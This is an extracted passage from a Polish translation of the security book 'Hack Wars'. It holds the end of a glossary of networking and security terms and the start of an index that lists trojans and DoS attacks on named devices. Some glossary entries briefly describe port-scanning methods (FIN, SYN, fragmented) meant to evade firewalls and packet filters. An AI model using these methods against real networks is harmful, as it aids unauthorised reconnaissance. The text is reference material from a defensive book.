nych za pomocą tzw. sum kontrolnych. Przykładem zastosowania moŜe być kontrola 
procesu przesyłania danych w sieci. 

CSMA/CD (Carrier Sense with Multiple Acces and Collision Detection) — technolo-
gia  pozwalająca  wykryć  i  obsłuŜyć  kolizje  w  sieciach  Ethernet.  Interfejsy  sieciowe, 
które wywołały kolizje, natychmiast przerywają swoją transmisję. Ten, który jako pierw-
szy wykrył kolizję, wysyła w sieć informację o zajściu kolizji. Następnie kaŜdy z nich 
oczekuje  przez  przypadkowy  okres  czasu  na  wznowienie  transmisji.  W  przypadku 
występowania sekwencji kolizji, przypadkowy czas oczekiwania zostaje podwojony. 

background image

 
Dodatek F 

 Słowniczek najwaŜniejszych pojęć 

391 

 

391

 

Datagram — pakiet tzw. protokołu bezpołączeniowego, na przykład protokołu UDP. 

Demultiplexing  —  proces  rozdzielania  strumieni  danych,  połączonych  uprzednio 
w jeden strumień za pomocą multiplexingu. 

DMZ (Demilitarized  Zone) — przestrzeń sieciowa połoŜona za zaporą firewall, ale 
odseparowana od sieci wewnętrznej. 

DSL (Digital Subscriber Line) — łącze z Internetem o przepustowości nawet od 6 do 30 
razy większej od łączy w technologii ISDN przy duŜo mniejszych kosztach, poniewaŜ 
DSL uŜywa tradycyjnych linii telefonicznych. 

FDDI  (Fiber-Distributed  Data  Interface)  —  łącze  światłowodowe  duŜej przepu-
stowości. 

GUI (Graphical User Interface) — interfejs graficzny aplikacji. 

Haker  — osoba doskonale obeznana z róŜnymi technologiami  informatycznymi,  szcze-
gólnie zaś programowaniem. Haker jest osobą, której sprawia przyjemność zagłębianie się 
w zagadnienia dotyczące budowy systemów operacyjnych i innych programów oraz wy-
korzystywanie tej wiedzy dla róŜnych, często niezgodnych z prawem celów, takich jak na 
przykład włamywanie się do obcych systemów i sieci, czy przerabianie do własnych 
celów róŜnych programów lub danych. 

Handshaking — proces nawiązywania połączenia między dwoma końcami strumie-
nia informacji. Polega głównie na uzgodnieniu podstawowych parametrów transmisji 
(na przykład prędkości transmisji między dwoma modemami). 

HTML  (Hypertext  Markup  Language)  —  język  słuŜący  do  opisu  stron  WWW. 
Główną  koncepcją  języka  jest  wstawianie  w  tekst  strony,  specjalnych  znaczników 
formatujących i interpretujących tekst oraz sterujących sposobem wyświetlania strony. 

Hub  —  koncentrator.  Jest  urządzeniem  słuŜącym  do  rozgałęziania  sieci,  zadaniem 
którego jest powtarzanie sygnałów kaŜdego fizycznego portu wejściowego wszystkim 
pozostałym portom. 

Inetd  —  demon  sieciowy  obsługujący  wiele  usług  i  przekazujący  sterowanie  do  wła-
ś

ciwego serwera w chwili nawiązania połączenia z danym serwerem komputera zdalnego. 

Stosuje się go w celu zaoszczędzenia pamięci operacyjnej komputera 

InterNIC — organizacja przydzielająca i kontrolująca adresy IP w Internecie

1

IP (Internet Protocol) — podstawowy protokół internetowy opisujący komunikację 
na 3. poziomie modelu OSI — odpowiedzialnym za wyznaczanie tras oraz sposób do-
starczania  informacji.  Protokół  IP  definiuje  budowę  pakietów  oraz  sposób  ich  trans-
misji  między  urządzeniami  sieciowymi.  IPX  (Internetwork  Packet  Exchange)  — 
protokół sieci NetWare. 

                                                           

1

 Ale tylko na terenie Ameryki Pn. W Europie organizacja podobna ma nazwę RIPE, a nadzór nad tymi 

organizacjami ma IANA — przyp. tłum. 

background image

 
392 

Hack Wars. Tom 2. Na tropie hakerów 

392 

 

Koń  trojański  —  jest  zwykłym  (lub  wyglądającym  na  zwykły)  programem,  udają-
cym często przydatne oprogramowanie, lecz wykonującym pewne operacje bez wie-
dzy i woli ich uŜytkownika. Zadaniem większości koni trojańskich jest pozostawienie 
w systemie tzw. „tylnych drzwi”. 

LAN  (Local  Area  Network)  —  grupa  komputerów  połoŜona  na  stosunkowo  nie-
wielkim obszarze, połączona ze sobą jedynie podstawowymi urządzeniami sieciowy-
mi (kable, huby, switche), w sposób, w którym kaŜdy komputer moŜe komunikować 
się z wszystkimi pozostałymi. 

Luka  w  bezpieczeństwie  —  wszelkie  przyczyny,  które  mogą  potencjalnie  stać  się 
pomocne  we  wniknięciu  intruza  do  systemu,  powiększeniu  jego  uprawnień  w  syste-
mie, pomagające atakującemu w jakikolwiek sposób utrudnić systemowi świadczenie 
usług lub teŜ pozwalające atakującemu przechwycić, skopiować dane poufne. 

Łącze  wirtualne  —  łącze  wirtualne  jest  połączeniem  pomiędzy  dwoma  punktami  sieci 
utworzonym tak, by wydawało się być fizycznym połączeniem (kawałkiem kabla, linią te-
lefoniczną  itp.),  lecz  w  rzeczywistości  będącym  złoŜeniem  innych  kanałów  informacyj-
nych. Istnieją dwa rodzaje połączeń wirtualnych — PVC (tworzone na stałe lub dłuŜszy 
okres  czasu),  oraz  SVC  (tworzone  za  kaŜdym  razem,  gdy  trzeba  transportować  dane). 
Technika ta pozwala na przykład dwóm komputerom stojącym w laboratorium połączyć 
się za pomocą kabla szeregowego, chociaŜ w rzeczywistości kabel ten nie istnieje, a dane 
są transmitowane przez Internet (na przykład kiedy archaiczny program wymaga takiego 
właśnie połączenia). 

MAU (Multistation Access Unit)  —  urządzenie łączące  komputery  w  sieć  typu Token 
Ring. 

MTU (Maximum Transfer Unit) — największy pakiet protokołu IP, jaki moŜe zo-
stać  przetransportowany  podczas  konkretnego  połączenia.  Parametr  ten  jest  ustalany 
przez obie strony podczas nawiązywania połączenia

2

Multipleksowanie (Multiplexing) — metoda przesyłania wielu równoległych sygnałów 
za pomocą jednego fizycznego kanału informacyjnego. 

NetBEUI (NetBIOS Extended User Interface) — protokół uŜywany  w sieciach lokal-
nych Windows NT, LAN Manager oraz sieciach IBM do przesyłania plików i zdalnego 
drukowania. 

NetBIOS (Network Basic Input/Output System) — protokół pierwotnie przygoto-
wany jako interfejs sieciowy, którym miały się posługiwać programy pracujące w sieciach 
IBM PC. Został jednak rozszerzony i obecnie moŜe być uŜywany w wielu innych po-
pularnych sieciach. 

Routing dynamiczny— proces wymiany informacji między sąsiednimi ruterami, pozwa-
lający ustalić im właściwą topologię sieci, a dzięki temu właściwą drogę przebiegu pakie-
tów. 

                                                           

2

 MoŜna się jednak spotkać z sytuacjami, gdzie MTU nie jest ustalane w czasie połączenia, lecz na sztywno 

ustawione i niezmienialne — przyp. tłum. 

background image

 
Dodatek F 

 Słowniczek najwaŜniejszych pojęć 

393 

 

393

 

Ochrona dostępności  — zespół działań  mających  na celu zagwarantowanie dostęp-
ności pewnych waŜnych i strategicznych usług. Składają się na niego z reguły syste-
my tworzenia kopii zapasowych oraz nadmiarowość posiadanego sprzętu. 

OSI (Open Systems Interconnection) Model — zbiór umownych standardów doty-
czących komunikacji za pomocą komputerów zakładających m.in. podzielenie zagad-
nień i problemów dotyczących komunikacji na siedem umownych warstw, rozpoczy-
nając od najniŜszej — warstwy sprzętowej. 

Pakiet  —  podstawowy  nośnik  transmisji  danych  w  sieci  Internet.  KaŜda  informacja 
przesyłana  przez  sieć  jest  dzielona  na  części  umieszczane  w  pakietach,  a  następnie 
z pakietów ekstrahowane i łączone z powrotem w uŜyteczną informację. 

Phreak — osoba, która włamuje się do sieci telefonicznych i innych chronionych sie-
ci telekomunikacyjnych, głównie w celu darmowego korzystania z usług firm teleko-
munikacyjnych. 

Podział na podsieci — proces wykorzystywania otrzymanych adresów sieciowych na 
zbudowanie w ich oparciu mniejszych sieci połączonych z głównym szkieletem. 

Połączenie typu full-duplex — połączenie z moŜliwością jednoczesnej transmisji w obie 
strony w celu zmniejszenia ograniczenia przepustowości sieci. 

POP  (Post  Office  Protocol)  —  jest  protokołem  słuŜącym  do  przenoszenia  poczty 
elektronicznej z serwera pocztowego na komputer uŜytkownika. Protokół POP oparty 
jest na architekturze klient-serwer, w której pocztę odbiera serwer pocztowy, a następnie 
przechowuje ją do momentu, w którym uŜytkownik pobierze ją z serwera. 

Porty  standardowe  —  są  to  porty,  na  których  domyślnie  słuchają  usługi  sieciowe,  na 
przykład portem standardowym usługi SMTP jest 25. 

Porty specjalne (zarezerwowane) — początkowe 1024 z ponad 65 000 portów dostęp-
nych w systemie operacyjnym. Porty te zarezerwowane są dla usług systemowych, z tego 
teŜ  powodu  połączenia  wychodzące  (  z  wyjątkiem  kilku  przypadków  )  realizowane  są 
przez porty o numeracji wyŜszej niŜ 1023.  

Poziom błędów — stosunek ilości błędnie przesłanych pakietów do całkowitej liczby 
pakietów. 

PPP (Point-to-Point Protocol) — protokół słuŜący do transportowania pakietów IP 
przez łącza szeregowe lub telefoniczne. 

Promiscious Mode — specjalny tryb działania interfejsu sieciowego,  w  którym reaguje 
on na wszystkie pakiety mające kontakt z interfejsem, a nie tylko te, których jest przezna-
czeniem. Tryb ten pozwala na przykład rejestrować całkowity ruch w sieci lokalnej. 

Protokół — zbiór zasad i norm dotyczących komunikowania się w sieci. 

Przepustowość  —  miara  zdolności  kanału  informacyjnego  do  przenoszenia  informacji, 
mierzona stosunkiem ilości informacji do czasu ich przesyłania. 

background image

 
394 

Hack Wars. Tom 2. Na tropie hakerów 

394 

 

PVC  (Permanent  Virtual  Circuit)  —  stałe  połączenie  między  urządzeniami  DTE 
przydatne do bardzo częstej transmisji danych. 

Ramka — jest podstawową jednostką transmisji w sieciach zorientowanych na transmisję 
bitową. Ramkę stanowią bity informacji wysłane bezpośrednio po sobie i zawierające: 
adres  źródła,  adres  przeznaczenia,  dane  oraz  dodatkowe  informacje  kontrolujące 
transmisję (między innymi rekordy pozwalające na detekcję, ewentualnie korekcję błędów 
oraz indeksujące ramki). 

RARP (Reverse Address Resolution Protocol) — \protokół pozwalający kompute-
rom  rozgłaszać  ich  adres  sprzętowy,  oczekując  tym  samym  odpowiedzi  od  serwera 
przydzielającego adresy IP w sieci. 

Replikacja — stadium rozwoju wirusa komputerowego, w którym stara się on, powiela-
jąc, zarazić jak najwięcej innych komputerów, programów itp. 

Rozpoznanie — proces zbierania przez hakera informacji o systemach i sieciach po-
tencjalnie  podatnych  na  atak,  przydatnych  później  do  opracowania  odpowiedniego 
planu działania. 

Ryzyko dopuszczalne — ryzyko określone przez zarząd jako dozwolone przy danym 
rodzaju  działalności;  ekonomicznie  jest  to  ryzyko  w  punkcie,  w  którym  równowaŜą 
się  koszty  utrzymywania  danego  poziomu  bezpieczeństwa  z  ewentualnymi  stratami 
pomnoŜonymi przez prawdopodobieństwo ich poniesienia. 

SAP (Service Advertisement Protocol) — metoda, w której róŜne urządzenia sieciowe 
rozgłaszają swoje adresy sieciowe oraz udostępniane usługi. Domyślnie informacje te 
wysyłane są co 60 sekund. 

Serwer plików — urządzenie sieciowe, którego głównym zadaniem jest udostępnia-
nie  swojej  przestrzeni  dyskowej  na  ogół  komputerom  w  sieci  lokalnej.  Rozwiązanie 
takie  ma  na  celu  zmniejszenie  kosztów  pamięci  dyskowej  oraz  zwiększenie  bezpie-
czeństwa danych. 

Skanowanie — skanowanie portów jest działaniem mającym na celu zbadanie okre-
ś

lonych  portów  określonych  komputerów  w  poszukiwaniu  róŜnych  uŜytecznych  in-

formacji. Specjalne programy (skanery portów) badają zadane porty w poszukiwaniu 
tych, które wydają się być podatne na atak, lub teŜ mogą zdradzić przydatne informacje. 

Skanowanie  fragmentacyjne  —  modyfikacja  pozostałych  metod  skanowania,  w  której 
pakiety przeznaczone do skanowania dzielone  są  na  fragmenty. JeŜeli nagłówek pakietu 
TCP zostanie podzielony na części, wtedy filtry pakietów będą miały znikome szanse 
wykrycia skanowania. 

Skanowanie metodą TCP (pełne) — najprostsza metoda skanowania, w której ska-
ner stara się nawiązać ze skanowanymi portami pełne połączenie. 

background image

 
Dodatek F 

 Słowniczek najwaŜniejszych pojęć 

395 

 

395

 

Skanowanie metodą TCP FIN — metoda skanowania portów utrudniająca wykrycie 
faktu skanowania. Niektóre firewalle oraz filtry pakietów (takie jak na przykład Synlogger 
czy Courtney) potrafią wykryć skanowanie pakietami SYN. W takich sytuacjach cza-
sami moŜliwe jest skanowanie pakietami FIN, gdyŜ otwarte porty z reguły odpowia-
dają na nie pakietami RST, podczas gdy zamknięte porty ignorują tego typu pakiety. 

Skanowanie  metodą  TCP  SYN  —  metoda  skanowania  nazywana  równieŜ  „skano-
waniem  połówkowym”.  W  metodzie  tej  nie  następuje  otwarcie  połączenia,  zamiast 
tego w kierunku skanowanego portu zostaje wysłany pakiet SYN, sugerujący otwarte 
połączenie  i  oczekiwanie  na  odpowiedź.  JeŜeli  w  odpowiedzi  skaner  otrzyma  pakiet 
SYN/ACK, oznacza to, Ŝe port nasłuchuje, w przeciwnym wypadku skaner otrzymuje 
pakiet  RST.  Po  otrzymaniu  SYN/ACK  skaner  niezwłocznie  „zamyka”  połączenie, 
wysyłając pakiet RST. 

Skanowanie metodą UDP ICMP_PORT_UNREACH — metoda skanowania uŜy-
wająca  protokołu  UDP  zamiast  TCP.  Wprawdzie  protokół  UDP  jest  mniej  skompli-
kowany, lecz metody skanowania uŜywające UDP muszą być bardziej wyrafinowane, 
poniewaŜ  otwarte  porty  nie  mają  obowiązku  wysyłać  odpowiedzi,  a  zamknięte  nie 
muszą wysyłać pakietów informujących o błędach. Na szczęście większość systemów 
jest  skonfigurowana  do  wysyłania  pakietu  ICMP_PORT_UNREACH  w  odpowiedzi 
na wysłanie pakietu do zamkniętego portu. Pozwala to stwierdzić, które porty są za-
mknięte, a pośrednio — które są otwarte. 

Skanowanie metodą UDP recvfrom() oraz write() — zwykli uŜytkownicy nie mo-
gą  bezpośrednio  otrzymywać  pakietów  informujących  ICMP_PORT_UNREACH. 
JednakŜe  system  Linux  informuje  o  tym  fakcie  pośrednio.  Na  przykład  drugie  i  kolejne 
wywołania funkcji write() z poleceniem zapisu do zamkniętego portu spowoduje zwróce-
nie błędu. Wiele skanerów (na przykład netcat i pscan.c) wykorzystuje z powodzeniem tę 
metodę. 

Skanowanie wewnętrzne — test, zwykle przeprowadzany przez administratora sieci, 
mający  za  zadanie  ujawnić  ewentualne  luki  w  mechanizmach  bezpieczeństwa  war-
stwy aplikacji oraz portów. 

Sniffer — program, którego zadaniem jest pasywne rejestrowanie i kopiowanie ruchu 
w sieci. Programy tego typu wykorzystywane są przez hakerów do zbierania informacji 
o sieci oraz przechwytywania wysyłanych przez uŜytkowników i urządzenia sieciowe 
informacji (na przykład haseł). 

SNMP (Simple Network Management Protocol) — protokół słuŜący do zarządzania 
i monitorowania urządzeń sieciowych. 

Strumień — kanał informacyjny słuŜący do transmitowania danych między procesami 
znajdującymi się na jego końcach. 

SVC  (Switched  Virtual  Circuit)  —  chwilowe  połączenia  pomiędzy  urządzeniami 
DTE słuŜące przekazywaniu danych w większych odstępach czasu. 

background image

 
396 

Hack Wars. Tom 2. Na tropie hakerów 

396 

 

TCP (Transmission Control Protocol) — zadaniem protokołu TCP jest umoŜliwienie 
połączenia,  a  następnie  kontrola  procesu  przekazywania  danych  w  strumieniu  (na 
przykład  ponowne  wysyłanie  pakietów,  które  nie  dotarły  do  miejsca  przeznaczenia 
lub dotarły zniekształcone).  

Transmisja asynchroniczna — transmisja, która nie wykorzystuje sygnału synchro-
nizującego. W transmisji tej kaŜda stacja nadawcza moŜe próbować zacząć nadawanie 
bez oczekiwania na taki sygnał. 

Transmisja synchroniczna — transmisja wykorzystująca sygnał synchronizujący do 
przesyłania informacji. Stacja nadawcza, chcąc wysłać jakąś informację po sieci, musi 
wysyłać  tę  informację  w  ściśle  określonych  momentach  czasu,  wyznaczanych  przez 
sygnał synchronizujący. 

Transmisja  w  postaci  okien  —  ma  miejsce  wtedy,  gdy  dwa  końce  połączenia 
uzgadniają, jaką liczbę segmentów mogą wysłać podczas kaŜdej transmisji. Liczba ta 
nazywana jest rozmiarem okna. Przykładowo, jeśli obie strony połączenia uzgodniły 
rozmiar okna równy 3, oznacza to, Ŝe kaŜda strona po wysłaniu 3 segmentów będzie 
oczekiwać  na  odpowiedź  drugiej.  Transmisja  zostanie  wznowiona  dopiero  po  otrzy-
maniu odpowiedzi. 

Trojan — patrz „koń trojański”. 

Tylne drzwi — termin ten określa kaŜdą umyślnie wykonaną lukę w bezpieczeństwie 
systemu, pozwalającą na przykład na ponowne włamanie się do niego. Hakerzy bardzo 
często po jednokrotnym włamaniu tak zmieniają zaatakowany system, by w przyszłości 
mogli włamać się do niego ponownie, lecz tym razem juŜ bez większych przeszkód. 

UDP  (User  Datagram  Protocol)  —  protokół  komunikacyjny,  charakteryzujący  się 
niewielką ilością pakietów potrzebnych do wysłania krótkich informacji, gdyŜ w protoko-
le UDP nie nawiązuje się połączenia. 

UUCP (UNIX-to-UNIX  Copy Protocol) — zbiór programów  wywodzących  się z  sys-
temu UNIX,  słuŜących  do  kopiowania  plików  pomiędzy  dwoma  komputerami,  lecz, 
co waŜniejsze, równieŜ zdalnego wykonywania poleceń. 

VLSM (Variable-Length Subnet Masking) — rozprzestrzenianie informacji podsieci za 
pomocą routerów. 

WAN (Wide Area Network) — sieci rozproszone na (geograficznie) duŜym obszarze. 

Wirusy — są programami rozprzestrzeniającymi się przez zaraŜanie innych programów 
uŜytkowych lub teŜ systemowych. 

Wykrywanie  błędów  —  zespół  działań,  których  zadaniem  jest  wykrycie  zakłóceń 
podczas przechowywania lub transmisji danych. Powszechnie stosowanym sposobem 
korekcji  błędów  jest  dołączanie  do  danych  pewnych  informacji  nadmiarowych  (na 
przykład  sum  kontrolnych,  podpisów  elektronicznych),  na  podstawie  których  moŜna 
przy odczycie danych stwierdzić, czy uległy uszkodzeniu. 

 

background image

 

 

397 

 

Skorowidz

10BaseT, 385 
3Com, 225 

filtrowanie, 226 
hasła głównego klucza, 226 
HiPer ARC, atak DoS, 225 
logowanie do karty HiPer ARC, 226 
NetServer 8/16, atak DoS, 226 
Palm Pilota Pro, atak Dos, 227 
system password debug, 226 

802.3, 385 

A 

abel.exe, 107 
Access, 173 
access control lists, 27 
Access Denied, 350 
AccessPath LS-3, 229 
Acid Shivers, 112 
ACL, 27, 152, 212, 282, 296 
ActiveX, 117, 213, 301, 339 
ActiveX Console, 109 
Address Resolution Protocol, 385 
adm.exe, 108 
administracja, 271 
adres 

elektroniczny, 37 
IP, 37 
MAC, 40, 116 
URL, 57 

AIX, 10 

dtaction, 238 
infod, 237 
ujawnienie haseł, 237 
zdalny root, 237, 238 

akredytacja, 385 
aktywacja, 385 
aktywne połączenia sieciowe, 12 
aktywne skanowanie, 212 
algorytm usuwania kolizji, 316 

AltaVista, 351 
analiza zabezpieczeń, 299 

alarmy, 305 
dzienniki alarmów i zdarzeń, 305 
inspekcja kodu źródłowego, 302, 304 
inspekcja lokalnej infrastruktury, 312, 340 
inspekcja połączeń wykorzystujących linie 

telefoniczne, 300, 340 

inspekcja sieci rozległej WAN, 341 
niska przepustowość, 304 
penetracja z wykorzystaniem wiedzy, 339 
podszywanie się pod adres IP, 302 
podział ruchu według rodziny protokołów, 304 
przekierowanie hosta, 304 
przygotowanie dokumentacji, 301 
raport o problemach uŜytkowników, 304 
raportowanie, 305 
retransmisja pliku, 304 
schemat adresowania IP/IPX, 302 
skanowanie lokalizacji, 300, 301 
slepe testowanie, 339 
testy penetracji, 300, 301 
testy podszywania się pod adres IP, 300 
testy przepełnienia IP, 302 
testy spamu, 303 
uprzywilejowane punkty dostępowe, 302 
usługi internetowe, 340 
wykorzystanie pasma, 305 
wyniki końcowe, 305 
zamroŜone klatki, 304 
zbieranie informacji, 306 
zdalna inspekcja, 300, 301, 303 

analizator sesji, 58 
anonimowość uŜytkownika, 147 
AntiGen, 96, 105, 380 
antigen.exe, 105 
AOL Trojan, 113 
Apache HTTP, 232 

atak DoS, 233 
kradzieŜ CGI, 232 

background image

 
398 

Hack Wars. Administrator kontratakuje 

398 

 

tworzenie listy katalogów, 233 

Apache Win32, 233 
API, 385 
aplikacja główna 

kontrola operacyjna, 273 
kontrola techniczna, 280 

aplikacja wsadowa, 282 
AppleTalk, 318 
Application Programming Interface, 385 
archiwizacja, 277, 290 
ARP, 385 
ARPANET, 385 
AS5200, 229 
AS5300, 229 
AS5800, 229 
Ascend, 225 
Ascend MAX, 227 
Ascend Pipeline, 227 
Ascend/Lucent, 227 

Ascend Pipeline, 227 
atak MAX, 227 
atak uszkodzonymi pakietami UDP, 227 
MAX, 227 
przeciąŜenie potoku haseł, 227 

ASCII, 245, 385 
ASP, 139, 148, 234 
atak 

Denial of Service, 11, 37 
DoS, 225, 227, 228, 234, 236, 253, 255 
DoS typu ARP, 228 
flood, 232 
HTTP DoS, 228 
MAX, 227 
NAT, 228 
Nestea, 225 
rozgłaszanie, 172 
skanowania UDP, 228 

ATM LS1010, 231 
Attack FTP, 107 
autoryzacja działania, 270, 272 
awaria systemów obsługi, 274 

B 

Back Construction, 105, 107 
Back Orifice, 114 
Back Orifice Server, 96, 380 
backdoor, 97, 161, 386 
BackDoor, 108 
bajt, 386 
bazy danych, 302 
bezpieczeństwo personelu, 286 
bezpieczna usługa FTP, 352 

bezpieczny serwer WWW, 58 
bezpieczny telnet, 352 
bezpośrednie łącza dzierŜawione, 306 
bind, 386 
Bind, 39 
bit, 386 
bit parzystości, 385 
BLA, 107 
BlackICE, 255 
BlackICE Defender, 115, 167 
Blade Runner, 105 
Blocking Time, 170 
blokowanie portów, 10, 57, 116 
Blowfish, 195 
błąd wewnętrzny, 317 
błędy pakietów, 315 
BoDetect, 96, 380 
bombardowanie pocztą, 37, 161 
BombSquad, 381 
bootp, 10, 40, 386 
BorderWare, 252 

tunelowanie, 253 

BoServ, 380 
BPX, 231 
BrainSpy, 112 
brainspy.exe, 112 
brama, 223, 225 

3Com, 225 
Ascend/Lucent, 227 
Cabletron/Enterasys 

Cabletron/Enterasys, 228 

HiPer ARC, 225 
NetServer 8/16, 225 

BRI, 212 
BRI 0, 162 
broadcasting, 172 
BSD, 238 

atak DoS, 238 
panika BSD, 238 

Bubbel, 110 
bubbel.exe, 110 
Buffer Flow Control, 386 
bufor poczty, 58 
buforowanie, 386 
Bugs, 109 

C 

C2500-IOS56I-L, 231 
C4000-IK2S-M, 231 
Cabletron, 152, 225 
Cabletron/Enterasys, 228 

atak DoS, 228 

background image

 
Skorowidz 

399 

 

399 

 

blokowanie procesora, 228 
Router SSR 8000, 228 
SmartSwitch Router, 228 

Cain & Abel, 107 
Carrier Sense with Multiple Acces and Collision 

Detection, 386 

CCDA, 5 
CCIE, 5 
CCNP, 5 
CD-ROM, 285 
cechy biometryczne, 295 
certyfikat, 385 
CGI, 139, 214, 301, 302 
CGI Exploit Scanner, 214 
CGIScan, 382 
chargen, 10, 12, 168 
chat, 58 
Check Promiscuous Mode, 199 
Checkpoint FireWall-1, 152 
CIAC 

biuletyn informacyjny, 194 

Cisco, 169, 225, 228 

AS5200, 229 
atak DoS, 228 
atak HTTP DoS, 229 
atak NAT, 230 
atak skanowania UDP, 231 
C2500-IOS56I-L, 231 
C4000-IK2S-M, 231 
IOS 2500, 231 
IOS 4000, 231 
łamacz haseł IOS, 230 
Route-Switch Module, 230 
SC3640, 229 
ubr7200, 229 
Voice Gateway, 229 

Cisco CCNA, 5 
Cisco IOS, 230 
Citrix, 300, 304 
cloaking, 118 
cmctl32.exe, 105, 107 
Coma, 112 
Compaq ASE Enterprise Storage, 5 
concealed ports, 9 
control.ini, 11, 100 
cookie.txt, 148 
cookies, 148, 166 

menedŜer, 167 

cookies.txt, 173 
CoreBuilder 2500, 226 
Courtney, 391 
CPE, 212 
CPM, 199 
cracker, 7, 115, 386 

CRC, 386 
CSMA/CD, 386 
Ctrl+Alt+Delete, 101 
CyberCop Scanner, 305 
cyberpunk, 115 
Cyclic Redundancy Check, 386 
cykl Ŝycia wiadomości pocztowej, 37 
czynniki ryzyka poŜarowego, 288 
czyszczenie nośników, 272 

D 

dat92003.exe, 113 
Data Service Unit, 306 
datagram, 10, 39, 387 
debug mode, 199 
Deep Throat, 106 
Delta Source, 114 
Demilitarized Zone, 38, 387 
demon, 10 

DNS, 39, 40 
fcagent, 239 
finger, 309 
FTP, 17, 354 
HTTP, 57 
infod, 237 
IRC, 354 
monitorowania usług, 355 
portmap, 59 
serwera WWW, 214, 223 
SMTP, 37 
Talk, 60 
Telnet, 25 
TFTP, 41 

demultiplexing, 387 
Denial of Service, 11, 37 
DES, 195 
Devil, 114 
DHCP, 318 
Digital, 10 
Digital RootBeer, 109 
Digital Subscriber Line, 387 
Distributed.net, 63 
DMZ, 38, 57, 254, 387 
dnetc.exe, 63 
DNS, 37, 39, 116, 302 

główne klastry, 37 
informacje o wersji oprogramowania, 40 
MX, 37 
odwrotne zapytania, 40 

DOCSIS, 212 
dokumentacja, 279, 292 
Doly Trojan, 107 

background image

 
400 

Hack Wars. Administrator kontratakuje 

400 

 

domain, 10, 39 
Domain Name Service, 39, 386 
domena, 38 
domyślna brama, 318 
DoS, 11, 117, 169, 225 
DoS Attack Threshold, 169 
dostawca Internetu, 300 
drag-and-drop, 98 
drwatsom.exe, 107 
DSL, 115, 387 
DSU, 306 
dtaction, 238 
DTE, 306, 390 
dwupunktowe łącza dzierŜawione, 306 
dynamic routing, 60 
dynamiczne wybieranie trasy, 60 
dysk twardy, 345 
dzienniki alarmów i zdarzeń, 305 

E 

echo, 10, 11, 168 
Eclipse, 110 
edytor HTML, 344, 348 
e-mail, 38, 39, 138 
Email Password Sender, 105 
emulacja terminali, 26 
en-cid12.dat, 112 
en-cid12.exe, 112 
Encryptor, 205, 382 
Enterasys, 152, 228 
Ethernet, 312 
Ethernet 1, 162 
Excite, 351 
exec, 10 
Executor, 106 
expl32.exe, 114 

F 

fazy analizy bezpieczeństwa, 301 

inspekcja lokalnej infrastruktury, 304 
inspekcja połączeń wykorzystujących linie 

telefoniczne, 304 

inspekcja sieci rozległej WAN, 305 
penetracja z wykorzystaniem zdobytych 

informacji, 302 

raportowanie, 305 
ś

lepe testy, 301 

usługi internetowe, 303 

fazy cyklu Ŝycia systemu, 269 
fcagent, 239 
FDDI, 387 

FFK.exe, 249 
Fiber-Distributed Data Interface, 387 
FibreVault, 239 
File Nail, 110 
filtrowanie, 226 

pakietów, 211 

filtry IP, 157 
finger, 10, 57, 309 
Firehotker, 106 
firewall, 7, 38, 57, 115, 162, 224, 245 

BlackICE Defender, 115 
Cisco PIX, 157 
FireWall-1, 252, 253 
LockDown 2000, 117 
NetScreen, 158, 165 
Norton Internet Security, 117 
TigerGuard, 119 
ZoneAlarm Pro, 118 

FireWall-1, 252, 253 

FW-1, 253 
pełny atak DoS, 253 

flooding, 40, 161 
Fore, 105 
fore.exe, 105 
Frame Relay, 304 
FTP, 7, 10, 13 

ograniczenia połączeń, 16 
połączenia anonimowe, 16 
Tiger FTP, 17 
uprawnienia, 17 
zmiana komunikatu powitalnego, 15 

ftp.exe, 105 
FTP99CMP, 108 
full-duplex, 389 
FW-1, 253 

G 

GateCrasher, 111 
gateway, 223 
Gauntlet, 252, 253 

atak DoS, 253 
wykonanie niebezpiecznego kodu przez 

przepełnienie bufora, 254 

generator losowych haseł, 381 
generowanie haseł, 196 
GET, Ŝądanie, 234, 236 
Ghost KeyLogger, 174 
GirlFriend, 113 
Global Timer Values, 169 
godny zaufania segment sieci, 41 
Graphical User Interface, 387 
GroupWise, 236 

background image

 
Skorowidz 

401 

 

401 

 

Guest, 17 
GUI, 26, 387 
Guide to Developing Security Plans for 

Information Technology Systems, 257 

H 

Hack’99 KeyLogger, 112 
Hack'a'Tack, 114 
haker, 7, 115, 387 
half-handshake ping, 253 
handshaking, 387 
hash, 278, 292 
hasło, 196, 281, 295 
HDKill.bat, 248 
hierarchiczna baza danych, 11, 100 
HiPer ARC, 225 

adm, 226 
atak DoS, 225 
logowanie do karty, 226 

HKEY_CLASSES_ROOT, 100 
HKEY_CURRENT_CONFIG, 101 
HKEY_CURRENT_USER, 100 
HKEY_DYN_DATA, 101 
HKEY_LOCAL_MACHINE, 101 
HKEY_USERS, 101 
HKeyLog.exe, 112 
home environment handling, 238 
hool.exe, 113 
host, 148 
hosts.allow, 27 
hosts.deny, 27 
hosts_access, 27 
HotBot, 351 
HP/UX, 239 
hping, 253 
HP-UX 9, 10 
HTML, 387 
HTR, Ŝądanie, 234 
http, 10 
HTTP, 57, 223, 304 
HTTPD, 223 
hub, 387 
Hypertext Markup Language, 387 
Hypertext Transfer Protocol, 57 

I 

IANA, 383 
IBM, 388 
ICEpaq Security Suite, 116 
ICMP, 151, 167, 232, 304 
ICMP redirect message, 304 

ICMP_PORT_UNREACH, 391 
ICQ, 117 
Idcide Privacy Wall, 167 
identyfikacja, 280, 294 

nieaktywne identyfikatory uŜytkowników, 281, 

294 

obsługa identyfikatorów uŜytkowników, 280, 

294 

powiązania działań z uŜytkownikami, 280 
unikalna identyfikacja, 294 

identyfikacja systemu, 262 

informacje kontaktowe, 263 
nazwa systemu, 263 
odpowiedzialna organizacja, 263 

IEEE 802.3, 385 
ifconfig, 199 
ifstatus, 199, 381 
IGX, 231 
IIS, 234 
Illusion Mailer, 109 
imap, 240 
IMAP4, 303 
imapd.c, 240 
InCommand, 112 
indeksujące ramki, 390 
index.dat, 173 
inetd, 10, 168, 310, 387 
inetd.conf, 10, 26, 40, 168, 310 
infod, 237 
InfoSeek, 351 
infrastruktura, 318 

sieciowa, 300 

inipx.exe, 107 
inspekcja 

lokalnej infrastruktury, 312 
połączeń wykorzystujących linie telefoniczne, 

300 

Intel, 225 
Intel 486, 5 
Intel Certfied Solutions Konsultant, 5 
Intel Express, 231 

atak DoS, 231 

inteligentny terminal, 262 
Internet, 264, 352 
Internet Protocol, 387 
Internet Services Database, 10 
Internetwork Packet Exchange, 387 
InterNIC, 387 
Invisible FTP, 105 
Invisible KeyLogger, 174 
inŜynieria społeczna, 158 
IOS, 228, 230, 303 
IOS 2500, 231 
IOS 4000, 231 

background image

 
402 

Hack Wars. Administrator kontratakuje 

402 

 

IP, 253, 304, 387 
